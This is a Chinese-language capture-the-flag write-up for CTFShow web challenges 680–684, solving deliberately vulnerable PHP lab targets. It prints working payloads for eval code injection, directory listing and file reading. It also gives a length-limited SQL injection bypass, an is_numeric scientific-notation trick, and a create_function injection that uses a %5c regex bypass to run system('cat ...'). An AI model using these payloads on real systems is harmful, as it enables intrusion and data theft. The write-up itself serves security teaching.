CTFShow-大赛原题
CTFShow 大赛原题
web680
打开如图所示:
如图所示:需要post提交 code=xxxx
提交:
1 | code=phpinfo(); |
得到了 phpinfo信息,查看关键信息:
- 没有直接flag
- allow_url_fopen,allow_url_include 为On
- disable_functions :禁止了常见的函数。
1 | assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir |
我们需要Index.php的源代码:
1 | code=highlight_file("index.php"); |
如图所示可得源码,就是一个 eval 函数。既然如此何必不直接 highlight_file(“flag.php”)呢?想法是对的,但是没有flag.php文件。
接着我想试试重定向写个马进去,但是不行。
到了这里,我们急需知道当前网站目录下有何文件。
当尝试使用 scandir()函数,发现可行.
1 | code=var_dump(scandir('./')); |
如图所示,显示出了当前目录下的文件,其中有 secret_you_never_know 文件,那么只要读取此文件那就八九不离十了。
方法一:
既然secret_you_never_know此文件在网站目录下,直接访问即可下载:
http://e3ea6102-34cd-4546-9cab-7311d786b921.challenge.ctf.show/secret_you_never_know
如图所示,将其下载下来,打开为flag。
方法二:
不下载,直接 highlight_file()即可
1 | code=highlight_file("secret_you_never_know"); |
如图所示有 flag,highlight_file()能显示非php文件。
更多方法有待研究……
web681
打开如图所示:
点击登陆,随便登陆都为绿帽子
目录扫描
如上图所示发现了 .svn 泄露,访问将其下载下来
check.php
1 |
|
分析:
- 其中有一句 sql 语句,很明显考察sql注入。
- waf()可知有过滤。
- str_replace() 将单引号过滤了。
- 如果POST提交的name长度超过11将弹出 name too long.
- 要黑帽子才对。虽说绿绿更健康😂,紧接着电脑启动Kali,居然绿屏了,真是绿的发慌!!!
- 那么要sql注入,且长度不能超过 11,否则失败。
最终测试了如下:
1 | name=or/**/1=1#\ |
如图所示得到了 flag.
web682
先放着
web683
源码:
1 |
|
分析:
- is_numeric()函数检测变量是否为数字或者数字字符串。
- 要求数字大于 60 * 60 * 24 * 30 * 2 且 sleep多少秒。
- 一般看到 is_numeric()函数就会联想到 科学计数法 e.一般情况八九不离十就能成功。
1 | ?秀=0.6e7 //0.6 避免了数字太大,不然sleep会等很久。 |
如图所示得到了flag.
小节
- is_numeric()函数特性。
web684
1 |
|
分析:
- 在 php7 中新增了运算符 ??, 其功能与三木运算符是一样的?:
- 正则表达式 匹配 字母数字下划线。
- i 不区分大小写。
- s 匹配任何不可见字符,包括空格,制表符,换页符。
- D 如果设定了此修正符,模式中的美元元字符仅匹配目标字符串的结尾。
- $action() 此处在将变量当作函数执行。
- %09,%0a,%00,%5c 均可绕过正则,此处选择 %5c才能成功。
1 | /?action=%0asystem |
如图所示,的确绕过了正则匹配,但是当执行到第八行 $action()时报错了:Call to undefined function system() in /var/www/html/index.php:8 意思是没有定义 system这个函数。从这里告诉我们要自己写一个函数来运行。
- 使用 create_function():此函数用来创建匿名函数。
- create_function相当于
1 | function a($a){ |
- 利用姿势 ?xx=;}phpinfo();/* or ;}phpinfo();?>
1 | function a($a){ |
;}闭合了代码,/* 注释掉后面的代码,若部注释将不能正常解析代码从而导致不能运行。
?> 同理可得,直接结束php代码。
payload
1 | /?action=%5ccreate_function&arg=;}phpinfo();/* |
如图所示payload执行成功。
1 | /?action=%5ccreate_function&arg=;}system('cat /secret_you_never_know');/* |
如图所示拿到了 flag.
小节:
- create_function 的使用。
- %5c 绕过正则匹配。